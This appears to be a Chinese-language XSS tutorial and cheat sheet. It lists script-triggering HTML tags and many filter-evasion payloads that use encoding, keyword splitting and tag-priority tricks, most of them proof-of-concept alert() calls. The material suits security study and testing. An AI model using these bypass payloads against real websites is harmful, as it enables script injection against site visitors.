XSS跨站脚本攻击漏洞
一、常见触发标签
无过滤情况
1.<script>
<scirpt>alert("xss");</script>
2.<img>
当图片加载错误时触发
<img src="x" onerror=alert(1)><img src="1" onerror=eval("alert('xss')")>
还可以改成onmouseover=”alert(1)” onmouseout=”alert(1)”
3.<a>
1 2 3 4 5 6
| <a href="https://www.qq.com">qq</a> <a href=javascript:alert('xss')>test</a> 不是触发性的动作需要加前缀javascript: <a href="javascript:a" onmouseover="alert(/xss/)">aa</a> <a href="" onclick=alert('xss')>a</a> <a href="" onclick=eval(alert('xss'))>aa</a> <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
|
4.<input>
1 2 3 4 5
| <input onfocus="alert('xss');"> 竞争焦点,从而触发onblur事件 <input onblur=alert("xss") autofocus><input autofocus> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert('xss');" autofocus>
|
5.<from>
1 2 3 4
| <form action=javascript:alert('xss')> <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <script>alert('xss')</script>编码为base64
|
6.<iframe>
1 2 3
| <iframe onload=alert("xss");></iframe> <iframe src=javascript:alert('xss')></iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
7.<svg>
<svg onload=alert(1)>
其他不常见的标签见
存在过滤情况
1.过滤空格
使用/绕过
<img/src="x"/onerror=alert("xss");
2.过滤关键字
(1)大小写绕过
(2)复写关键字
(3)字符拼接
1 2 3 4
| 使用eval <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)"> 使用top <script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)
|
3.其他字符混淆
1 2 3 4 5
| 可利用注释、标签的优先级等 <<script>alert("xss");</script> <script>alert("hello world!")</script> <title><img src=</title>><img src=x onerror="alert(``xss``);"> 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 <SCRIPT>var a="\\";alert("xss");</SCRIPT>
|
4.编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| html编码<script>alert("xss");</script> <img src="x" onerror="alert("xss");"> Unicode编码绕过,eval里面也加分号 <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> Hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> 八进制绕过 <img src=x onerror=alert('\170\163\163')> base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
5.过滤双引号,单引号
在js中,用两个反引号代替双引号
或者使用编码绕过
6.过滤括号
使用throw来绕过
1
| <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
|
7.过滤url地址
1 2 3 4 5
| http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/ #url编码 http://2130706433/ #十进制ip http://0177.0.0.01/ #8进制ip http://0x7f.0x0.0x0.0x1/ #16进制ip //www.baidu.com #html标签中用//可以代替http://
|
linux下可以使用\代替/
使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度
__END__